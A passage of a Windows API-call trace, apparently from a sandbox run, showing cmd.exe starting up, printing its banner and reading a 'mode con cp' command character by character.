lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0113.469] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49edf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0113.469] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49edf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0113.469] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0113.469] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0113.469] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0113.469] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0113.469] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0113.469] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0113.469] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0113.469] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0113.470] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0113.470] GetEnvironmentStringsW () returned 0x208a60* [0113.470] FreeEnvironmentStringsW (penv=0x208a60) returned 1 [0113.470] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49edf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0113.470] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49edf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0113.470] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0113.470] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0113.470] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0113.470] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0113.470] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0113.470] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0113.470] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0113.470] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0113.470] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1af6d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0113.470] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1af6d0, lpFilePart=0x1af6b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af6b0*="Desktop") returned 0x25 [0113.470] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0113.470] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1af3e0 | out: lpFindFileData=0x1af3e0) returned 0x20b740 [0113.470] FindClose (in: hFindFile=0x20b740 | out: hFindFile=0x20b740) returned 1 [0113.471] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1af3e0 | out: lpFindFileData=0x1af3e0) returned 0x20b740 [0113.471] FindClose (in: hFindFile=0x20b740 | out: hFindFile=0x20b740) returned 1 [0113.471] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0113.471] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1af3e0 | out: lpFindFileData=0x1af3e0) returned 0x20b740 [0113.471] FindClose (in: hFindFile=0x20b740 | out: hFindFile=0x20b740) returned 1 [0113.471] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0113.471] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0113.471] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0113.471] GetEnvironmentStringsW () returned 0x20b740* [0113.471] FreeEnvironmentStringsW (penv=0x20b740) returned 1 [0113.471] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49eec0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0113.472] GetConsoleOutputCP () returned 0x1b5 [0113.472] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49eebfe0 | out: lpCPInfo=0x49eebfe0) returned 1 [0113.472] GetUserDefaultLCID () returned 0x409 [0113.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49ee7b50, cchData=8 | out: lpLCData=":") returned 2 [0113.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1af7e0, cchData=128 | out: lpLCData="0") returned 2 [0113.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1af7e0, cchData=128 | out: lpLCData="0") returned 2 [0113.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1af7e0, cchData=128 | out: lpLCData="1") returned 2 [0113.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49efa740, cchData=8 | out: lpLCData="/") returned 2 [0113.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49efa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0113.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49efa460, cchData=32 | out: lpLCData="Tue") returned 4 [0113.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49efa420, cchData=32 | out: lpLCData="Wed") returned 4 [0113.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49efa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0113.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49efa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0113.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49efa360, cchData=32 | out: lpLCData="Sat") returned 4 [0113.473] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49efa700, cchData=32 | out: lpLCData="Sun") returned 4 [0113.473] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49ee7b40, cchData=8 | out: lpLCData=".") returned 2 [0113.473] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49efa4e0, cchData=8 | out: lpLCData=",") returned 2 [0113.473] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0113.473] GetConsoleTitleW (in: lpConsoleTitle=0x2095c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0113.475] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.475] GetFileType (hFile=0xf4) returned 0x3 [0113.475] BrandingFormatString () returned 0x2097e0 [0113.496] GetVersion () returned 0x1db10106 [0113.496] _vsnwprintf (in: _Buffer=0x1af950, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x1af8e8 | out: _Buffer="6.1.7601") returned 8 [0113.496] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.496] GetFileType (hFile=0xf4) returned 0x3 [0113.496] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49ef6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0113.496] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49ef6340, nSize=0x2000, Arguments=0x1af8f0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0113.497] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x49eec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0113.497] WriteFile (in: hFile=0xf4, lpBuffer=0x49eec320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1af878, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesWritten=0x1af878*=0x24, lpOverlapped=0x0) returned 1 [0113.497] _vsnwprintf (in: _Buffer=0x49ef6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af918 | out: _Buffer="\r\n") returned 2 [0113.497] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.497] GetFileType (hFile=0xf4) returned 0x3 [0113.497] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49eec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0113.497] WriteFile (in: hFile=0xf4, lpBuffer=0x49eec320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af8e8, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesWritten=0x1af8e8*=0x2, lpOverlapped=0x0) returned 1 [0113.497] _vsnwprintf (in: _Buffer=0x49ef6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x1af918 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0113.497] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.497] GetFileType (hFile=0xf4) returned 0x3 [0113.497] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x49eec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0113.497] WriteFile (in: hFile=0xf4, lpBuffer=0x49eec320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x1af8e8, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesWritten=0x1af8e8*=0x3f, lpOverlapped=0x0) returned 1 [0113.497] _vsnwprintf (in: _Buffer=0x49ef6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af918 | out: _Buffer="\r\n") returned 2 [0113.497] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.497] GetFileType (hFile=0xf4) returned 0x3 [0113.497] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.498] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49eec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0113.498] WriteFile (in: hFile=0xf4, lpBuffer=0x49eec320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af8e8, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesWritten=0x1af8e8*=0x2, lpOverlapped=0x0) returned 1 [0113.498] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77550000 [0113.498] GetProcAddress (hModule=0x77550000, lpProcName="CopyFileExW") returned 0x775623d0 [0113.498] GetProcAddress (hModule=0x77550000, lpProcName="IsDebuggerPresent") returned 0x77558290 [0113.498] GetProcAddress (hModule=0x77550000, lpProcName="SetConsoleInputExeNameW") returned 0x775617e0 [0113.498] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.498] GetFileType (hFile=0xe8) returned 0x3 [0113.498] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0113.498] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1af740 | out: TokenHandle=0x1af740*=0x0) returned 0xc000007c [0113.498] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1af740 | out: TokenHandle=0x1af740*=0x50) returned 0x0 [0113.498] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x1af750, TokenInformationLength=0x4, ReturnLength=0x1af758 | out: TokenInformation=0x1af750, ReturnLength=0x1af758) returned 0x0 [0113.499] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x1af758, TokenInformationLength=0x4, ReturnLength=0x1af750 | out: TokenInformation=0x1af758, ReturnLength=0x1af750) returned 0x0 [0113.499] NtClose (Handle=0x50) returned 0x0 [0113.499] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x1af720, nSize=0x0, Arguments=0x1af728 | out: lpBuffer="\x97e0\x20") returned 0xf [0113.499] GetConsoleTitleW (in: lpConsoleTitle=0x1af770, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0113.499] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0113.499] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0113.500] LocalFree (hMem=0x2097e0) returned 0x0 [0113.500] _vsnwprintf (in: _Buffer=0x49ef6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af458 | out: _Buffer="\r\n") returned 2 [0113.500] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.500] GetFileType (hFile=0xf4) returned 0x3 [0113.500] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49eec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0113.500] WriteFile (in: hFile=0xf4, lpBuffer=0x49eec320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af428, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesWritten=0x1af428*=0x2, lpOverlapped=0x0) returned 1 [0113.500] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49edf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0113.500] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49eec0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0113.501] _vsnwprintf (in: _Buffer=0x49edeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af468 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0113.501] _vsnwprintf (in: _Buffer=0x49edebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af468 | out: _Buffer=">") returned 1 [0113.501] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.501] GetFileType (hFile=0xf4) returned 0x3 [0113.501] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49eec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0113.501] WriteFile (in: hFile=0xf4, lpBuffer=0x49eec320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af458, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesWritten=0x1af458*=0x26, lpOverlapped=0x0) returned 1 [0113.501] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.501] GetFileType (hFile=0xe8) returned 0x3 [0113.501] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.501] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.501] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.501] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0113.502] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.502] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.502] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.502] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0113.502] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.502] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.502] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.502] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0113.503] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.503] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.503] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.503] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0113.503] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.503] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.503] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.503] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0113.503] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.503] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.503] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.503] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0113.503] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.503] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.503] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.503] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0113.503] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.503] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.503] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.503] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0113.503] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.503] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.503] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0113.504] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.504] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.504] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0113.504] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.504] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.504] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0113.504] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.504] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.504] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0113.504] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.504] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.504] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0113.504] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.504] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.504] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0113.504] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.504] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.504] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.505] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0113.505] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.505] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.505] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.505] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0113.505] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.505] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.505] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.505] MultiByteToWideChar 